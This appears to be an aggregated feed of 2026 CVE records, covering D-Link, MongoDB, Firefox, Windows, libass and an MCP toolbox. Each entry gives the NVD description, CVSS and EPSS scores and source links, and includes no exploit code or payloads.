A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. (May 11, 2026).
A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.
CVSS 5.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8273).
Sources:
NVD CVE-2026-8273: https://nvd.nist.gov/vuln/detail/CVE-2026-8273
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component...
https://kevwire.com/record/CVE-2026-8321
A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component... (May 11, 2026).
A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component runAuth Middleware. Performing a manipulation results in authentication bypass using alternate channel. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8321).
Sources:
NVD CVE-2026-8321: https://nvd.nist.gov/vuln/detail/CVE-2026-8321
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component runAuth Middleware. Performing a manipulation results in authentication bypass using alternate channel. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently...
https://kevwire.com/record/CVE-2026-8336
After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently... (May 13, 2026).
After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service.

This issue impacts MongoDB Server v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8336).
Sources:
NVD CVE-2026-8336: https://nvd.nist.gov/vuln/detail/CVE-2026-8336
Vendor advisory (via NVD references): https://jira.mongodb.org/browse/SERVER-121610
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service.

This issue impacts MongoDB Server v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi.
https://kevwire.com/record/CVE-2026-8344
A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi. (May 11, 2026).
A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8344).
Sources:
NVD CVE-2026-8344: https://nvd.nist.gov/vuln/detail/CVE-2026-8344
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A weakness has been identified in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this vulnerability is the function sub_445E7C of the file /goform/formDMZ.cgi. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward.
https://kevwire.com/record/CVE-2026-8345
A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. (May 11, 2026).
A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8345).
Sources:
NVD CVE-2026-8345: https://nvd.nist.gov/vuln/detail/CVE-2026-8345
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward.
https://kevwire.com/record/CVE-2026-8346
A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward. (May 12, 2026).
A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward. Performing a manipulation of the argument ip_address results in command injection. The attack can be initiated remotely. The exploit is now public and may be used.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8346).
Sources:
NVD CVE-2026-8346: https://nvd.nist.gov/vuln/detail/CVE-2026-8346
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability was detected in D-Link DIR-816 1.10CNB05_R1B011D88210. This affects the function portForward. Performing a manipulation of the argument ip_address results in command injection. The attack can be initiated remotely. The exploit is now public and may be used.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect boundary conditions in the JavaScript Engine: JIT component.
https://kevwire.com/record/CVE-2026-8388
Incorrect boundary conditions in the JavaScript Engine: JIT component. (May 12, 2026).
Incorrect boundary conditions in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8388).
Sources:
NVD CVE-2026-8388: https://nvd.nist.gov/vuln/detail/CVE-2026-8388
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-45/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Incorrect boundary conditions in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JIT miscompilation in the JavaScript Engine: JIT component.
https://kevwire.com/record/CVE-2026-8389
JIT miscompilation in the JavaScript Engine: JIT component. (May 12, 2026).
JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8389).
Sources:
NVD CVE-2026-8389: https://nvd.nist.gov/vuln/detail/CVE-2026-8389
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-45/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use-after-free in the JavaScript: WebAssembly component.
https://kevwire.com/record/CVE-2026-8390
Use-after-free in the JavaScript: WebAssembly component. (May 12, 2026).
Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8390).
Sources:
NVD CVE-2026-8390: https://nvd.nist.gov/vuln/detail/CVE-2026-8390
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-45/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape in the Profile Backup component.
https://kevwire.com/record/CVE-2026-8401
Sandbox escape in the Profile Backup component. (May 12, 2026).
Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8401).
Sources:
NVD CVE-2026-8401: https://nvd.nist.gov/vuln/detail/CVE-2026-8401
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-45/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax.
https://kevwire.com/record/CVE-2026-8431
An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax. (May 12, 2026).
An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax. 



This issue affects all MongoDB Ops Manager 7.0 versions and MongoDB Ops Manager versions 8.0.22 and prior.
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8431).
Sources:
NVD CVE-2026-8431: https://nvd.nist.gov/vuln/detail/CVE-2026-8431
Vendor advisory (via NVD references): https://www.mongodb.com/docs/ops-manager/current/release-notes/application/#onprem-server-8.0.23
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An administrative user with access to configure webhooks can execute arbitrary commands by configuring and then triggering webhooks containing specific FreeMarker template syntax. 



This issue affects all MongoDB Ops Manager 7.0 versions and MongoDB Ops Manager versions 8.0.22 and prior.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69970
Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69970).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69970&date=2026-10-25).
Sources:
NVD CVE-2026-69970: https://nvd.nist.gov/vuln/detail/CVE-2026-69970
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69970&date=2026-10-25
Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69976
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69976).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69976&date=2026-10-25).
Sources:
NVD CVE-2026-69976: https://nvd.nist.gov/vuln/detail/CVE-2026-69976
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69976
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69976&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69977
Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69977).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69977&date=2026-10-25).
Sources:
NVD CVE-2026-69977: https://nvd.nist.gov/vuln/detail/CVE-2026-69977
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69977
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69977&date=2026-10-25
Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69984
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69984).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69984&date=2026-10-25).
Sources:
NVD CVE-2026-69984: https://nvd.nist.gov/vuln/detail/CVE-2026-69984
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69984
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69984&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69985
Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69985).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69985&date=2026-10-25).
Sources:
NVD CVE-2026-69985: https://nvd.nist.gov/vuln/detail/CVE-2026-69985
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69985
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69985&date=2026-10-25
Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-105723
Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105723).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105723&date=2026-10-25).
Sources:
NVD CVE-2026-105723: https://nvd.nist.gov/vuln/detail/CVE-2026-105723
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105723
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105723&date=2026-10-25
Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105722
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105722).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105722&date=2026-10-25).
Sources:
NVD CVE-2026-105722: https://nvd.nist.gov/vuln/detail/CVE-2026-105722
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105722
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105722&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c
https://kevwire.com/record/CVE-2026-95127
An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c (Oct 13, 2026).
An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95127).
Sources:
NVD CVE-2026-95127: https://nvd.nist.gov/vuln/detail/CVE-2026-95127
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
An issue in libass v.0.17.5 allows a remote attacker to cause a denial of service via the ass_outline_construct() in libass/ass_render.c

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an...
https://kevwire.com/record/CVE-2026-93328
Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an... (Oct 26, 2026).
Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an unauthenticated remote attacker to exfiltrate host files to external Google Cloud Storage buckets and overwrite arbitrary local files via crafted tool invocation parameters.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93328).
Sources:
NVD CVE-2026-93328: https://nvd.nist.gov/vuln/detail/CVE-2026-93328
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
